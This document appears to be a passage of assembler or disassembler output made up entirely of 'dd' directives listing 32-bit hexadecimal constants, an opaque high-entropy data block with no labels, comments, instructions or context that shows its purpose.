		dd 3301E3BFh, 68517F21h, 333A4EB8h, 8AF242D1h, 0CE8E60F5h
		dd 1D77397Fh, 8CF63B76h, 4610240Ah, 7E7202D9h, 21E23191h
		dd 0D7691C54h, 0C3469F48h, 6FA8E424h, 0A16F2100h, 4E4AE97Fh
		dd 0A74FA476h, 22C23914h, 13653EE9h, 50AF482Fh,	8C4A089Bh
		dd 0B90EFD2Ch, 76A4023Fh, 0C815A522h, 0C1515625h, 0D52E2D54h
		dd 84807F2Ah, 12F18149h, 0D84B74h, 7A42C91Dh, 0C590674Ch
		dd 0D3959354h, 92AF07F3h, 5BB8456h, 16615DAFh, 7189B9BEh
		dd 52846603h, 5E8CBBE9h, 0E7840028h, 40C82F59h,	82CFD695h
		dd 2622C68Eh, 0C30CEF68h, 81DC5BFh, 41187140h, 3B177D9Ah
		dd 3B7D1072h, 142537F9h, 3F6C66F5h, 6813C328h, 0E8984458h
		dd 0A7D4EB2Dh, 420AEE0h, 0E9647037h, 4ED4EFA0h,	0C7306CC7h
		dd 4A026858h, 80E0E937h, 54480C27h, 2CCE945Ah, 907345BEh
		dd 0CB685DF6h, 0B1F3304Bh, 12ABC940h, 0BF580D37h, 3383AED1h
		dd 0B5C9D13Eh, 70E07F41h, 0EF800759h, 3BBFE9D9h, 0BC90FD5Ah
		dd 0ADAD4E4Eh, 0FD216314h, 7BE9FA06h, 0F32BDF88h, 0D625FF5Eh
		dd 0F1F662D7h, 75EA107Dh, 0D2E997A4h, 402AFF9Eh, 5F04DA87h
		dd 89B98AAAh, 0C329FBB8h, 0BE29132Ah, 62C14A09h, 9F15484h
		dd 5D4898Bh, 0E3F3151h,	0A934BBA9h, 0E22782Ch, 8B9EABEBh
		dd 600B0968h, 10CA8E20h, 81B80E29h, 81024AF4h, 0D6EF38C2h
		dd 0D342FDF1h, 45823D56h, 0F83F2484h, 64AA9064h, 0FF5B6670h
		dd 21C97AB7h, 3C5FF62Bh, 89472CC5h, 1D79880Eh, 4901AEC2h
		dd 0A330D563h, 499A9991h, 0F09410FDh, 7E532438h, 0C5752549h
		dd 81D448C2h, 62E9EE31h, 469A828h, 0A350772Eh, 4C8155ADh
		dd 0E35405A3h, 3BD42DF2h, 0CAB15107h, 0DF5D2582h, 9EB091B8h
		dd 5AAABBFh, 65ACC48Ch,	0D33BA84Ah, 4B605091h, 66D52512h
		dd 205D4525h, 2812A4DAh, 0A0014FF2h, 364947A5h,	90010F29h
		dd 0C1029509h, 803730E5h, 68186292h, 2C5B5E9Ah,	16BD865Ah
		dd 0BAB95B83h, 0CABAD634h, 0E9680BBBh, 0F0E54644h, 56784BA8h
		dd 0FB53FEECh, 0BFE185BEh, 0F0840BD7h, 5F502ADCh, 0CB954E90h
		dd 596D0456h, 0E801049Ch, 0DE1ABCh, 2AA82DD0h, 5A4F6576h
		dd 0A384DDF2h, 575C0B90h, 71A004EAh, 421651DAh,	704EE3F8h
		dd 2BE10841h, 0B02B342Ah, 0EDE9C1E1h, 870F3049h, 0B4B800F5h
		dd 6E15850h, 0C2D8DB2Fh, 0EB225997h, 0D1A0687Fh, 5C9F69h
		dd 0CFADBB44h, 2558C613h, 7BBFE2D0h, 833E050Ch,	9E61D5Eh
		dd 48261268h, 3BB5EC88h, 71E0C05Bh, 3240B30Fh, 37091895h
		dd 58E50C05h, 0E94DDF04h, 0CABF0BFCh, 7F5A10B3h, 90DB663Ah
		dd 6587686Ch, 1F2AC4A8h, 61F92AE1h, 9BAE5B8Fh, 0FE2D1A38h
		dd 41315800h, 96ACD905h, 1629EAA4h, 0AEBDDCE1h,	4A28CD88h
		dd 7313972Eh, 0E702E2A9h, 0F5DA65F1h, 8F8BD5FDh, 1CC4E6FCh
		dd 1171280Bh, 1B75384h,	0B49604FFh, 0A7A0179Ah,	0C9CF5B1Ch
		dd 6D102A08h, 0BD2D7D82h, 9314F985h, 4EB8A8FDh,	1D10FA8Bh
		dd 0EF5D28B3h, 8592A158h, 1CD0FE87h, 5EB33A23h,	6F9A24Ah
		dd 829A862Bh, 480D044Ah, 0C1015231h, 2E14231Ch,	40A04598h
		dd 6871BE2Ah, 1346F53Dh, 6C9D8826h, 0EC27132Eh,	529F1332h
		dd 56DE7BECh, 3F76E118h, 1FDACDA0h, 0EBFEA80h, 0EF1228F2h
		dd 0B65EE5CBh, 0C14F7EAAh, 0AFD351E2h, 4AD914C8h, 4A7DE773h
		dd 0E9A1A3B8h, 57347A81h, 1862CAC0h, 0EC0D4F4Bh, 44EAB2AEh
		dd 9700BF73h, 313E9570h, 0C6209798h, 27507672h,	0ECA2A898h
		dd 65777762h, 541C3EC6h, 94552FA2h, 82ECFA55h, 0F009B754h
		dd 0B768C4A9h, 46085ED6h, 12D82DDCh, 4FC1C759h,	0EE185BCBh
		dd 5DEB4142h, 2D235648h, 7FB9C21Eh, 56953DBh, 0CA348BEFh
		dd 41FAA064h, 0DE75C8BCh, 0FCE23B46h, 180642C1h, 29352A78h
		dd 2419430Eh, 0F4D0232Dh, 3B17E5CDh, 0F51D3C52h, 0B0D71F79h
		dd 0C1A2830Ch, 0EA898E0Bh, 4CDCF85Dh, 0D4257A0Ch, 4A0DF8C4h
		dd 0FD13C338h, 0E04DA22Bh, 973FABE9h, 0B9C1B7F1h, 1FF1EEFAh
		dd 79BFEA43h, 7BDE0A6Bh, 79A3423h, 813760B1h, 640315E9h
		dd 7A4F5A22h, 431C3C30h, 292C5E26h, 0AC247E7Fh,	85A0C605h
		dd 0C282509Dh, 644A6850h, 0CC6130F4h, 7DD6B80Bh, 0F4303F48h
		dd 0D8DB4725h, 110C599Ch, 98CD4977h, 6FC88BDFh,	68C16F7Eh
		dd 796A730Ch, 0C1A60BD2h, 6C3E6851h, 5F3A63Eh, 497B7371h
		dd 34E990ABh, 314E6E4Eh, 0D7EA6DC4h, 7DF261EFh,	895ABEAAh
		dd 0F5DCF42h, 0A156E9AEh, 60B7683Fh, 5276D42Ah,	0F6DEBF88h
		dd 0E1C6FC5Bh, 4038ADA1h, 4C25CD07h, 87F7A33Dh,	0C8EA3325h
		dd 3DB850F5h, 6905144Bh, 0DB7C6DE9h, 9E90CF3h, 4A595667h
		dd 5A09AB2Dh, 65605505h, 81698FE9h, 0AF8B7720h,	0B3B16B00h
		dd 0EE987293h, 23D9E69h, 0FF961E45h, 7B1BE098h,	0E1EB9DC0h
		dd 7C4A2816h, 62312557h, 0F3600D74h, 90677218h,	455B6426h
		dd 0F5EC168Bh, 3EB337B1h, 640623CAh, 6C570356h,	4172FE02h
		dd 7DDF2948h, 0C25FEACCh, 0E93A0EF9h, 5BD3094Ah, 925A3F07h
		dd 0D9A71A99h, 2170820Ch, 58644C0h, 97398282h, 0C98E5C4Ch
		dd 0D727EED7h, 0BC52FA32h, 0EF810EFEh, 0E07A11A6h, 0A33BF820h
		dd 0F757D83Ah, 81593E36h
		dd 0A0528A85h, 415C8314h, 87C29B62h, 60D157FBh,	97E2F8A7h
		dd 0B45260Fh, 0E9F60005h, 0C3169C8Ch, 0CD8B894Eh, 0A6D8292Dh
		dd 5FE9BDBBh, 49DC1780h, 42480182h, 315A002Dh, 0B0E9DDB7h
		dd 1389180h, 70DF170Ah,	7CEADB29h, 801677F8h, 9C0928EBh
		dd 0FA1B4BA7h, 5DF3EA17h, 0DC4918E5h, 16BA606Eh, 784F6707h
		dd 0E98213A8h, 0E04C5850h, 0F6F6825h, 4264CB7Fh, 0A560D7E5h
		dd 51B37880h, 97CEB07h,	0F3E47F5Bh, 674AE504h, 75012146h
		dd 20647F43h, 6502C095h, 0DD31AEACh, 0D3C0DD5Bh, 590BCD21h
		dd 512C3468h, 658CBFF2h, 0E92D5347h, 9BBA7E5Ch,	0AEC2C130h
		dd 648BA389h, 8F19C959h, 76168114h, 1563D802h, 0E1CB293Eh
		dd 0A34C82DEh, 135696E1h, 0D724EB31h, 0E4BFF9AFh, 0EA0717A1h
		dd 1F893750h, 9BE20481h, 0C077B14Bh, 0A61126C3h, 4CC1483Eh
		dd 4CC2046Ah, 0F181831Dh, 5303C898h, 0ADB0A9B1h, 208C550Ch
		dd 8C0B5DAEh, 893198E4h, 302EFE99h, 92759A54h, 8668730Dh
		dd 54E2FB72h, 88E78278h, 86FDB17Ch, 0F807035Bh,	0CDC65CF7h
		dd 4F2524h, 0DAA393D2h,	0E912FB89h, 31BF5BB9h, 80AD307Bh
		dd 56FEB810h, 0B729C2BEh, 0A6EAE982h, 5A282CD9h, 0CBD39A5Bh
		dd 4FD2D945h, 183BDC20h, 18465B5Fh, 0E5903C17h,	0A688E2A2h
		dd 91D42F08h, 2A3EF102h, 19A38028h, 9D07C041h, 1342927Ch
		dd 8ED9559Dh, 3482D012h, 0CEF1C855h, 7A4185Eh, 72FA425Fh
		dd 0AE64C124h, 0EBD3C200h, 1329A2E2h, 84C3E9D7h, 6838E034h
		dd 7DCF5059h, 9718CE20h, 6688335Eh, 0DC461F63h,	7D5BE5FDh
		dd 0D274133Dh, 86C90190h, 4AFD7BACh, 3AA1E188h,	7BEC31CDh
		dd 0ABF39F9Dh, 3B9C3708h, 0B935624Eh, 5579BBCCh, 0DC280B09h
		dd 584DFC4Fh, 7A0509F5h, 9AE91D5Dh, 0A74ADCA8h,	0A85B7DEFh
		dd 0A0EB8412h, 0B60752E5h, 38C6803Eh, 97735AF6h, 0E961C77Bh
		dd 0DFC26547h, 9025AF65h, 0D2F6A0h, 5101C280h, 0E1C056B1h
		dd 0E9670579h, 1642CA98h, 0EB7655C9h, 20297A49h, 0B23162B1h
		dd 28592A5Ah, 7903E670h, 43309666h, 0F900A514h,	727668EEh
		dd 0ECDE013Fh, 9E3CF1ABh, 0F45B4AC5h, 0A5F1FEE5h, 0B648DF5Eh
		dd 0EE5F6856h, 0A5DFE4ACh, 0FCD3B00Fh, 5EE9E002h, 4046D2E1h
		dd 442FDED9h, 0D17E29EBh, 0C8874E25h, 26862D3Dh, 280D8271h
		dd 220B3C6Eh, 0B7E94A05h, 0FCF2448Bh, 2CFA5208h, 0A7DF8BDCh
		dd 62C3F7F1h, 0A3C35402h, 0D60E0A9Ah, 5B4290EAh, 3F483D02h
		dd 0DDD7BADh, 9735D54Ch, 9E6FF8CEh, 0FCC12858h,	909C40h
		dd 142CC7BEh, 36905112h, 4C4BA904h, 0FA805D01h,	8761721h
		dd 0F543E948h, 50BD6805h, 3BB230FEh, 51B87625h,	37C8FAA3h
		dd 99F45BB0h, 5E086302h, 4048D8F7h, 0B0636CCh, 6CE90376h
		dd 1C9E1A58h, 2D30DF69h, 630627BAh, 55535274h, 2FC13D3Eh
		dd 0DF564027h, 5F560925h, 0D6312C38h, 813BE92Dh, 5AD32117h
		dd 5E93913Fh, 19532B25h, 3C8491B9h, 0C90BA365h,	70FA5753h
		dd 6B0B68ECh, 3525A40h,	5A36542h, 4BE1E239h, 0F2C100C9h
		dd 0F469DF45h, 0E9D50104h, 41EE8879h, 0D93FFEEBh, 73D08171h
		dd 29405776h, 0E1150005h, 0E9636808h, 0EBE9578h, 0DD8B6962h
		dd 5A45EFF9h, 844B3EF6h, 0A659D42Ch, 0F1F14ADDh, 92558B2Eh
		dd 0B280D1BBh, 2080699Ch, 4AA1F435h, 7AE8A58Dh,	0B74676B0h
		dd 9097ED84h, 643D68B4h, 0A942FC5h, 5A7F35EDh, 5013C8CAh
		dd 7545D390h, 4D2F96BCh, 80BC2DEBh, 0CA497727h,	7A350F00h
		dd 257B4C0Dh, 7A79736Ch, 4008004Eh, 0C5014404h,	42BDDEE9h
		dd 0BC8966C9h, 56E68275h, 60CB6E63h, 0BF42E68h,	0BC55B53Ch
		dd 0CA7B77F1h, 8BAA935Fh, 9CF413D6h, 596589BBh,	0AFD144E5h
		dd 4EE9F7E0h, 9EA94F9h,	0E07E92ECh, 9602D62h, 0AC18BF5h
		dd 590897A1h, 0F23F2075h, 2FC29508h, 7383F175h,	63BE895Ah
		dd 60ED80E9h, 8F593794h, 3335611Ah, 0FB65770Bh,	0CF311D82h
		dd 3DF2576Dh, 0BBEEE91Bh, 14A49890h, 0FB504A69h, 423F3E90h
		dd 0F7600C1Ah, 181243D3h, 80726428h, 685DFB25h,	19505AA3h
		dd 9F662B68h, 76677205h, 3D7EDA0Fh, 72B36B0Bh, 96F0F635h
		dd 0B7602F31h, 0B617CEEBh, 10124FFDh, 3E00D656h, 1F180EE6h
		dd 21039F4Ah, 4000508h,	7D6F410Fh, 0A12DF001h, 0F07A5E07h
		dd 43D3EDEDh, 0BF0041BBh, 6E37C33Bh, 0FFD3EFB3h, 0E3D296CAh
		dd 0D1BFD7E5h, 35F2CDBh, 62861159h, 84F75BF6h, 0A446C85Ah
		dd 1378FB41h, 67A1D2Dh,	1069C204h, 12FE3501h, 7037AB58h
		dd 718BF6F0h, 0B0175FDCh, 470A4F00h, 0AF8746E9h, 9E76643h
		dd 3BB1BA0Ch, 0DAF7DC82h, 7BC6F7C1h, 7C2D05E3h,	734B3BD1h
		dd 0E98E23ADh, 0F4A8967Dh, 0ECE91754h, 269888Ch, 0DA8431D7h
		dd 0D4AEA185h, 9CF982B5h, 50298298h, 20C7CCBFh,	0DFFC4396h
		dd 210A2764h, 35520BEAh, 742D8A71h, 0E71144h, 0D307D2B5h
		dd 0BC980AE9h, 0A060646Fh, 99A02D47h, 4D9C4ECAh, 5D5CCD8Bh
		dd 0D00B2932h, 0FCD1D042h, 2097EA4h, 450C5CB5h,	99108252h
		dd 16B08B50h, 2FF49692h, 29BB0713h, 8101B0BCh, 7914A6CEh
		dd 0AA2C306Eh, 0B8D22E7Dh, 0C9C10B1Fh, 459556ACh, 11D0D7DBh
		dd 4B213284h, 39E8CEh, 0F177F64Ah, 5BE9C629h, 12F1D5E3h
		dd 81DEBC8Dh, 6113C07Ch, 9B47FF2Bh, 0D739A0E9h,	12D11CB3h
		dd 0FE727A88h, 42E8D45Ch, 0EE245DC5h, 5FF1E0AFh, 8550F1B5h
		dd 305ADC68h, 58E9579Ah, 4000C49Eh, 4938692Dh, 0F6B0D7EEh
		dd 8B7E2662h, 0DCBCC0ADh, 3A199F23h, 3F7775C5h,	24E487A9h
		dd 8C68A406h, 0E1D2664Ah, 0F6D6825Dh, 0B85C0489h, 0AE485021h
		dd 76B87D25h, 0E0B8B1D6h, 0F05802E5h, 0C50B5A90h, 0BBFF250Eh
		dd 5FDC3C3Ch, 523CE01h,	22E9C35Ch, 12FBA35Eh, 0B7644E33h
		dd 4E218AFAh, 1311091h,	9731F23Fh, 252CDCFAh, 3C5F9E40h
		dd 717CB31h, 59942293h,	0B0CBEC57h, 0E4844E03h,	4C4450CAh
		dd 41DD0EC7h, 0E7C0115Eh, 291F5FD2h, 1B18A390h,	0EF0C3C35h
		dd 2B7F3E97h, 9E34E909h, 0FC6195Fh, 324DDA39h, 886E2200h
		dd 19CD8118h, 0F9155928h, 7B0E720h, 0FE90B450h,	0C216AECCh
		dd 0FC555E03h, 0C0D75AF3h, 9D7F513Eh, 58C2171Ah, 0AF827789h
		dd 800BEC9Eh, 2873A133h, 5FBD0164h, 0E99BD88Ch,	2F962881h
		dd 6DB17F5Ch, 0CC9BABDh, 0DCD71E42h, 667155EEh,	0D03496E1h
		dd 70C879FEh, 65C14997h, 931CAF97h, 5902B4A8h, 6AE9CAFEh
		dd 0D399F5A9h, 2969A5C6h, 10A2FC0Ah, 76052D77h,	13F8BACBh
		dd 0F02E6C66h, 5E81D4A2h, 0DB382461h, 0E15DF04Fh, 0A6968912h
		dd 3C80A284h, 5D384359h, 0F94A3947h, 0D7E103DCh, 79018456h
		dd 0BB6E628h, 979A8C7h,	0E8A70505h, 39BB5B17h, 0B0382056h
		dd 17F84913h, 0E831D20Bh, 2F0A25C8h, 86DA1EF9h,	0D776BD27h
		dd 322DCB94h, 452FD102h, 8056E0B4h, 85CDC439h, 0E330D6F4h
		dd 9755AB67h, 257438A8h, 0D08BC8E9h, 5F920AD6h,	5E5A8BFBh
		dd 897F64BAh, 86EEC3Ah,	0B03A4C9Fh, 0B6A169A0h,	0EE8200D3h
		dd 42EC7F12h, 0AB625D7Ch, 67FD080Bh, 0BC90AD23h, 0A85DACE9h
		dd 0C5BA80F8h, 427F067h, 460DEA81h, 0E2F6C0A5h,	710555D8h
		dd 0C59CE905h, 0AFD3B6BCh, 76FBEF13h, 0BE00BFFCh, 182A275Eh
		dd 0BC43D668h, 1A1C63F2h, 0D840539Ah, 0B23B469Ch, 10CF0347h
		dd 48561703h, 0A903A118h, 6BF2E90Fh, 70BEAB4Bh,	1ABF571Dh
		dd 53F12806h, 0B70B1BB8h, 0E6ACFDDEh, 0C55ACD14h, 8DAF0382h
		dd 0BD46F5Bh, 8F753787h
		dd 3EF5691h, 43A59F3Fh,	51110078h, 0DEF7604Ch, 9AFCB04Eh
		dd 0FB44D20Fh, 0E98472A6h, 0FE7CE04Dh, 542FCF77h, 0F99BFDD2h
		dd 90DAB2CFh, 0E025E06Dh, 97729E59h, 0D94FA2E6h, 0C9E28412h
		dd 787C6882h, 0F075C9B2h, 0C4E91640h, 0B7E0E87Bh, 50E3CCDFh
		dd 30DE7729h, 0B40E9353h, 0F406308Eh, 7B2525Ah,	0B5AAB828h
		dd 0F509605Eh, 0A4E5F759h, 43E40593h, 6FD85801h, 1DECB010h
		dd 2AD6EA89h, 6DFABF56h, 8EA5F35Dh, 97805B54h, 17297E65h
		dd 0A0E1C115h, 0F3112C1Dh, 3958A94Bh, 0D2C58F25h, 0E9D0C825h
		dd 0BE7F5A30h, 6268EB62h, 88057988h, 87139EE2h,	40025882h
		dd 260C6A4Dh, 124C3C73h, 0C12BE360h, 1702685Eh,	0C9FE302Ah
		dd 605E752Dh, 7080FDEDh, 0E962EA4Fh, 27D48525h,	16C8E4A2h
		dd 0AB2FA05Eh, 2B649841h, 412A4F76h, 8603673Ch,	41906D3Ah
		dd 0AA892E08h, 1CB0B72Ah, 5F2753C9h, 0AF816294h, 4477E884h
		dd 0C9CC20BDh, 50167FA1h, 821E8910h, 52C58400h,	0F29071C8h
		dd 22085407h, 5C194F50h, 9D762A4Bh, 78EF07C0h, 5AE5D581h
		dd 0DC29AB2Eh, 0B8082688h, 0EA31A56Fh, 0F392A7A2h, 0F6662573h
		dd 50933C8h, 576DC1C4h,	0F19FF761h, 9F031FBFh, 5F98FA54h
		dd 585AD00Ah, 372D8356h, 0CD59C442h, 474EBDA0h,	2F40EAA4h
		dd 4279A868h, 578EA7BFh, 6505A12h, 517C9B2Dh, 51E95842h
		dd 498AF19Fh, 36526285h, 0DF8147C8h, 18373E28h,	5277B792h
		dd 20DD388Ah, 7458B0ADh, 0C7DCAA24h, 5615F17Bh,	987E9FA8h
		dd 388E0088h, 0C58344A8h, 0ED358101h, 17AF138Bh, 1D98EF43h
		dd 902612B7h, 3F84BA7Bh, 0D55A080Bh, 0F8FEC0B0h, 1B3586C1h
		dd 26709A12h, 98A0533Fh, 82DA0E50h, 0CE2CC102h,	6ACD9AF5h
		dd 455E5438h, 82B6AF56h, 0C8389250h, 0ED202910h, 229626C1h
		dd 0EA2B0699h, 0F23F4C2Dh, 793B10D5h, 0D3F6800Ch, 0B2F6B706h
		dd 56BF509Ah, 4DB05443h, 150960E4h, 74D0E937h, 7709BBD5h
		dd 0F4DE4778h, 0E50F9028h, 0C03C4622h, 5D21D0E7h, 39E91775h
		dd 699EEE58h, 3A94984Bh, 42898EB4h, 0C0289B1Dh,	5B8220E6h
		dd 0FEBEC811h, 5671A2BDh, 9530FD64h, 0A39D6399h, 0A20C7F9h
		dd 0DBF7430Ch, 8BF02A1h, 0E1FD0340h, 0B7AF91Ah,	0C2DD01BCh
		dd 0D3595D72h, 5F293962h, 85314597h, 0F55071Ah,	1F6AD383h
		dd 0CBCB2168h, 0EAFFEBE0h, 0A54F45ACh, 0FD826857h, 5A36096Ah
		dd 9CFF5729h, 7C81BD75h, 2B4068h, 953C5DE9h, 5014FC12h
		dd 5250EA98h, 252C5EDEh, 0D30B9DD4h, 6269562Bh,	6E0A0280h
		dd 9E0091Ch, 96685556h,	0DC4F267Ah, 0E6A63F12h,	4CE0B2D6h
		dd 0F2D21AC3h, 69E07DFBh, 8B2704AEh, 0D3E0E935h, 983C5197h
		dd 1FE5577h, 54A8795Eh,	7A35AFC0h, 0E028C171h, 0A50DEE03h
		dd 0DA27B276h, 4B2EB82Eh, 0EB7012AAh, 0B9E93B81h, 0F00DDB34h
		dd 79962C3Ch, 94150ADEh, 0C9F59D80h, 68E6D9C0h,	0D1AE9C27h
		dd 7CD4056h, 4958CB4Bh,	5A250328h, 8D413632h, 16A7D680h
		dd 0C82FB50h, 3E8D07A3h, 0A42C7675h, 0A7391373h, 0DDE86208h
		dd 0A9477DF7h, 5512DFA1h, 5EBBD000h, 2A687919h,	13111444h
		dd 8820A8E9h, 0D14AF7E8h, 49292E2h, 0FADC1733h,	285AAACEh
		dd 5D4C4BE0h, 0B050C571h, 0BE9D9C05h, 0C1C7FFD2h, 28DCB684h
		dd 6E6EB0F7h, 681E3D68h, 0B38A4AE9h, 633B16DCh,	0C74A32FBh
		dd 0B7AADB18h, 3942C7F4h, 92F1C59Fh, 0F99E5766h, 0A90CB4D6h
		dd 4B88E7B4h, 0C68EEAFDh, 6DA4E93Eh, 56BF8154h,	3C61B66Bh
		dd 0F709275Dh, 22FD6BB2h, 4846D6Ah, 0B00B859h, 85724F36h
		dd 16A106A2h, 0ABCF942Bh, 2E020EF9h, 917BCB3h, 9F4D0257h
		dd 0A60C7303h, 2469045Fh, 833FC1D4h, 4F88626Fh,	0F0B33097h
		dd 647D4C8Ch, 56082E1Fh, 105EE7Ch, 2CFEDD21h, 61A0EDB6h
		dd 0E9478E9h, 0A267F525h, 70A65013h, 0F058FD00h, 34FBE94Ah
		dd 0B57766BFh, 0F3A5B45Eh, 60CE090Dh, 0C9623F54h, 8A4D061Bh
		dd 68DCC305h, 38FB09E3h, 0B16CE29h, 2D004437h, 5C4111F6h
		dd 7FB59025h, 0A55D0556h, 0DAB2CDE9h, 5B41108h,	75BBE03h
		dd 4A05394Ah, 4557011Ch, 0E905C903h, 0D2E7D40Fh, 0A9C2F27Bh
		dd 94DF548Fh, 0BD2B08A1h, 4A4512E9h, 5E04BFF3h,	946DB64Ch
		dd 5860BB0Dh, 0E3C2F8Eh, 0D8F79167h, 16E18160h,	1598FE0Ah
		dd 0BE12E97Ch, 1CBA1DAAh, 8146EC3Ch, 88EC33EAh,	7CA96F98h
		dd 92D7E982h, 0C92E6FF9h, 0B65EE002h, 20E67462h, 5339C907h
		dd 927CEF57h, 0D010FF5Ch, 3A3DE1A6h, 8D0737BBh,	0B2BB60F3h
		dd 0A7D7E374h, 23EC1438h, 203105C7h, 0D95A211Ch, 16FF2E6Dh
		dd 0B488BC16h, 0D8C1F2ABh, 4341B3Eh, 0BAE9061Ah, 0EA8DFA8Ch
		dd 668120h, 4816C27Ch, 0BAC7105h, 58E9630Ch, 95EB8D2Dh
		dd 582F5276h, 7DA1268Eh, 5BCA6F2Ch, 0D155D28Ah,	549D89A3h
		dd 566761F1h, 0A4B9DFE5h, 0CB525675h, 0E98F9C5Eh, 62B35DE0h
		dd 0D3E6B04h, 5305E800h, 4D242BBBh, 0E31F918Fh,	6AC34484h
		dd 7E9C36EFh, 2F57D03Ch, 2510DC4Bh, 0B6604360h,	0E6003F7Fh
		dd 32193676h, 0AD1D1FE9h, 0B9311EF6h, 84E9C20Ch, 7312B7B7h
		dd 3EACF928h, 9DC91127h, 0B04BF4C1h, 0F773397Bh, 0CDFD29A0h
		dd 0F81C7532h, 0B95E008Ah, 0D8BD619Ch, 81A44B99h, 30E3C1CAh
		dd 2095DB84h, 25FE3343h, 14051F18h, 2076276Eh, 90AFE617h
		dd 0F41B8A4Ah, 0F3D07A50h, 895907A0h, 53BD97Ah,	6B931682h
		dd 52C222EFh, 884C49C0h, 7331C25Ah, 9E26D408h, 41F48002h
		dd 3470E3E9h, 56505900h, 8B27FD68h, 0BA5E4A23h,	0F1CB34D0h
		dd 86DD4E99h, 58652885h, 96E37E3Ah, 636F805Bh, 0F0B572E2h
		dd 36E12B66h, 0A7B024B6h, 83712076h, 8E6DF5CEh,	1C53B34h
		dd 16E8B3FAh, 89B11368h, 0F5D5E97Fh, 0D39BBCB0h, 2EFE8DEFh
		dd 26B2CAD8h, 4135302Bh, 0C6EAE951h, 5A52477h, 865356C7h
		dd 1EA313h, 30E4FC0Ch, 0BCE9533Eh, 0BB6E5164h, 0C9D0BCABh
		dd 0FCFE9187h, 23F74CADh, 5A5148F0h, 842AB612h,	8ABF58B2h
		dd 0B9ED5EDBh, 0C3F37FCCh, 0EB32A609h, 896F5E0Ah, 0ED549A56h
		dd 79669662h, 0A1F52D64h, 554F5F21h, 9C52AB2Fh,	95629FC4h
		dd 0ED5B8231h, 4B39C650h, 0D62D8B52h, 0A2E46A12h, 2F30EE3h
		dd 41DD4F91h, 683873C0h, 2DB68031h, 0CC165DA9h,	58C62709h
		dd 5EFBA2B0h, 314EBF12h, 0CEF75A0h, 0B5F698Bh, 40723D0Ch
		dd 9CE9330Ch, 0BCE6D53h, 1A28468Dh, 0A8D47E00h,	0E914AA45h
		dd 5474ABBh, 7D890682h,	11C5DA8h, 4DDAF09h, 13F13C13h
		dd 0D9DCEE61h, 18D49F70h, 0BF5F8A45h, 5EFD534Bh, 6C81E2A0h
		dd 27F8DA55h, 0CFE92646h, 0E8C3C1FAh, 36C9570Bh, 37C25D05h
		dd 0DD761275h, 7527B1EDh, 28DC2769h, 585A040Ch,	8DAAD689h
		dd 37A720CEh, 7AE70B07h, 2A0CB81h, 2DE95D9Fh, 6A79BE6Fh
		dd 5AC4DC39h, 0B9EB4684h, 4FAAA1F4h, 36567Eh, 0E66D28B9h
		dd 0FDF1211Fh, 426E7567h, 60784186h, 0E8D22097h, 47F423Ah
		dd 1E6B9B0Dh, 4F8C234h,	47F8DC55h, 0D1D7C9E9h, 827DC936h
		dd 52F614Eh, 2514FB66h,	9B0C12D1h, 5D9574BBh, 3855C1BBh
		dd 6A013430h, 0C41B3B6h, 58AA286Bh, 7A1DDEB5h, 77E4CAFFh
		dd 496B92F9h, 0BC2B282Dh, 82EC129h, 0C7F43311h,	0C169AB17h
		dd 0A76E47DFh, 7E44499Dh, 9C5DF709h, 265CD462h,	210908FEh
		dd 61005725h, 0CF6252F2h, 0B5F86A4Fh, 27F1E90Bh, 74680FA7h
		dd 0C731FB53h, 5103B970h, 360533A0h, 4FE67E7Bh,	0B8E5409Bh
		dd 2D6869F0h, 0E8513C4Fh
		dd 0BB60D2A1h, 0C137F1Dh, 0A04FE974h, 9A905D5Ah, 0F97CCB25h
		dd 25718380h, 32E97F2Bh, 55772B94h, 681A7EB2h, 0FD52C2A5h
		dd 5F44C16Bh, 0F2AF8789h, 4277714Ch, 5A68E5B3h,	0A128AB16h
		dd 77845E4Ch, 0FB5DB23Ah, 1DD86ABh, 994D31F1h, 0FEC62A20h
		dd 0FF977F0Fh, 0D974EB3Ah, 9710E5F6h, 3DE06257h, 16AB661Ch
		dd 0F322DC68h, 0C8017964h, 0E918BC0Ah, 543844B7h, 2D57C4h
		dd 7A70EFBDh, 8BD09505h, 0EC5AAA08h, 8CF4010Eh,	3A295385h
		dd 1816A721h, 4AC3CF6Bh, 0C1E4A6EDh, 8EAC87h, 96585450h
		dd 3ADDC173h, 63F16FCFh, 0BD78532Ch, 7917B30h, 0D5644382h
		dd 87A9C5AAh, 0F2468B44h, 574957BEh, 0E91329BCh, 72AE3288h
		dd 2C04D5A1h, 2ED46802h, 383A9BB1h, 0D55F2F08h,	0F2CFFE33h
		dd 0A4F78F05h, 9A1E7BCEh, 67FE9F4Ah, 62427516h,	0D551D801h
		dd 0B830640h, 6FF920h, 0C28F5C6h, 0E9F289E2h, 7095EF38h
		dd 0C4CE564Fh, 7110EA52h, 0F627DE34h, 315E8B85h, 98AD3277h
		dd 41C0E92Ch, 4C613047h, 26D07D09h, 79735F58h, 42C5E989h
		dd 0CC7C57B5h, 0C4AF4BCDh, 5B5D4462h, 0C4C29494h, 455FBE69h
		dd 0E263A410h, 0BF6601B4h, 6F00DAB0h, 0BB34AE02h, 16CF6367h
		dd 4EB3154h, 91839D26h,	2F16C307h, 5F681DEAh, 0AFC8A59h
		dd 0A531A658h, 0EB9A364Ch, 2041DA13h, 33564A0Dh, 120FBF20h
		dd 0AE067DF9h, 17FEAB12h, 495681BFh, 23DA4057h,	1A7D6A58h
		dd 4E39456Fh, 0CBC23421h, 4185DF53h, 2B8AB1BFh,	24A4F2B2h
		dd 0E9F86006h, 7BBDFABEh, 633B0AD9h, 8ABE8225h,	6BE0FE2Ch
		dd 0B163ECEh, 0A092F6Dh, 0EA5F3076h, 25AB123h, 0E108E747h
		dd 49B5DFE0h, 29449D1Dh, 82045AEh, 7A98E8ACh, 244A7D20h
		dd 213DF01h, 31E30F4Dh,	70E2BCFCh, 45C0575h, 0FF3BD881h
		dd 0F2D2D60h, 9D617877h, 652AE169h, 24BC2E32h, 0E34DB80Bh
		dd 6E8E1DE0h, 9A04DA31h, 20F96CC0h, 81C858F6h, 0ED2F5D08h
		dd 6568C2DBh, 0A528E534h, 691D42E8h, 10583883h,	0BEFD0F9Dh
		dd 0EE44FB4Bh, 90AF6505h, 321D47B6h, 0C2B5A2FEh, 33ECFDDAh
		dd 0E4B73E25h, 9970512h, 0AF5A2A77h, 4AB2B7B4h,	0CA18A048h
		dd 26A04A5Ch, 846CF8E2h, 7840127Ch, 1340A975h, 0F2AA5EF2h
		dd 0C9EDD6A7h, 0A1EC7718h, 18BF28EBh, 9B49B6DFh, 0EF30508h
		dd 106E97Dh, 2BAE2E1Dh,	123B39E9h, 328FFE0Bh, 0B686654h
